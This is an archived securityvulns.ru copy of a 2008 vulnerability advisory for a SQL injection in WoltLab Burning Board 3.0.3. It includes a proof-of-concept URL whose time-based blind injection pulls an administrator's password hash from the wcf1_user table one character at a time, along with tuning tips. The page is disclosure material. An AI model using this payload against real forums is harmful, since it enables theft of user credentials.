Computer Security
[EN] securityvulns.ru
no-pyccku



Related information

  Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

  PR06-12: XSS on BEA Plumtree Foundation and AquaLogic Interaction portals

  SmarterMail Enterprise 4.3  - malformed mail XSS

  bugtraq@securityfocus
.com, vuln@secunia.com, packet@packetstormsec
urity.org

  PR08-01: Several XSS, a cross-domain redirect and a webroot disclosure on Spyce - Python Server Pages (PSP)

From:nbbn_(at)_gmx.net <nbbn_(at)_gmx.net>
Date:20.02.2008
Subject:WoltLab Burning Board 3.0.3 PL1 SQL-Injection Vulnerability

#################################################################################
#############
WoltLab Burning Board 3.0.3 PL1 SQL Injection Vulnerability by NBBN
Vendor: http://woltlab.de
#################################################################################
#############


::Proof of Concept
http://site.tld/wbb3/index.php?page=PMList&folderID=0&pageNo=1&sortFi
eld=isViewed&sortOrder=ASC
,
(SELECT password  FROM wcf1_user WHERE userID=1 AND
IF(ORD(SUBSTR(password,1,1))>55,BENCHMARK(3000000,
MD5(23)),1))

An attacker should have to register at the board to use this.

You can ask TRUE/FALSE questions to the database. Modify 3000000 if the stuff
doesn't work. On some MySQL Versions you need to edit this query



::Explain:

...AND IF(ORD(SUBSTR(password,1,1))>55,BENCHMARK(3000000,
MD5(23)),1))

1,1 is the position in the crypted password. 55 is the char in the
ascii-table.

In this example we ask for number 7 in the hash, position 1. If the page load
fast, you find a true char. If not, ask other chars ;-).If you enter a char
that is higher then the true's, the page load fast to, so start from 48 first
and go higher.



::Vulnerabiltiy
As I found this, WBB 3.0.4 was only running at the supportforums of woltlab so
I don't test it, because there is no reason and I am not a cracker ;-)

WoltLab Burning Board 3.0.3 PLX
WoltLab Burning Board 3.0.2 PLX
WoltLab Burning Board 3.0.1 PLX
WoltLab Burning Board 3.0.0 PLX
Possible WoltLab Burning Board 3.0.4 (not tested)...



Please don't use this to crack forums. All what you do with this is at your
own risk.





About | Terms of use | Privacy Policy
© SecurityVulns, 3APA3A, Vladimir Dubrovin
Nizhny Novgorod

 
 



Rating@Mail.ru
test server